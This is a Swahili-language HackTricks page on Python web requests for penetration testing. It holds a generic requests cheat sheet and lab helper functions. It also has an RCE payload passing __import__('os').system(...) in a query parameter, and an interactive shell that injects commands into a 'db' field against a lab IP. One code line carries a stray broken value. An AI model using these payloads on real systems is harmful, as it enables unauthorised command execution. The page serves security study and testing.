hacktricks/generic-methodologies-and-resources/python/web-requests.md
2024-02-11 02:13:58 +00:00

7.3 KiB

Ombi za Wavuti

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Ombi za Python

import requests

url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)

code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231

#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Post request sending a file(files) and extra values
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)

#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")




##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()

def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp

def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp

def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
return guid

def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid

def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()

def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))

Amri ya Python ya kutumia RCE

Kutumia RCE (Remote Code Execution) ni mbinu ya kuingiza na kutekeleza nambari kijijini kwenye mfumo wa lengo. Hapa kuna amri ya Python ya kutumia RCE:

import requests

url = "http://target-website.com/vulnerable-endpoint"
payload = "__import__('os').system('command-to-execute')"

response = requests.get(url + "?param=" + payload)
print(response.text)

Katika amri hii, tunatumia moduli ya requests ya Python ili kutuma ombi la HTTP GET kwenye mwisho ulio hatarini wa wavuti ya lengo. Tunatumia payload kama parameter ya ombi, ambayo ina nambari ya Python inayotumia moduli ya os kutekeleza amri ya mfumo wa uendeshaji.

Unapaswa kubadilisha http://target-website.com/vulnerable-endpoint na URL ya mwisho ulio hatarini wa wavuti ya lengo. Pia, badilisha 'command-to-execute' na amri ya mfumo wa uendeshaji ambayo unataka kutekeleza kwenye mfumo wa lengo.

Matokeo ya ombi yatatolewa kwenye skrini kwa kutumia print(response.text). Unaweza kubadilisha hii kulingana na jinsi unavyotaka kushughulikia matokeo ya ombi.

import requests
import re
from cmd import Cmd

class Terminal(Cmd):
prompt = "Inject => "

def default(self, args):
output = RunCmd(args)
print(output)

def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1


term = Terminal()
term.cmdloop()


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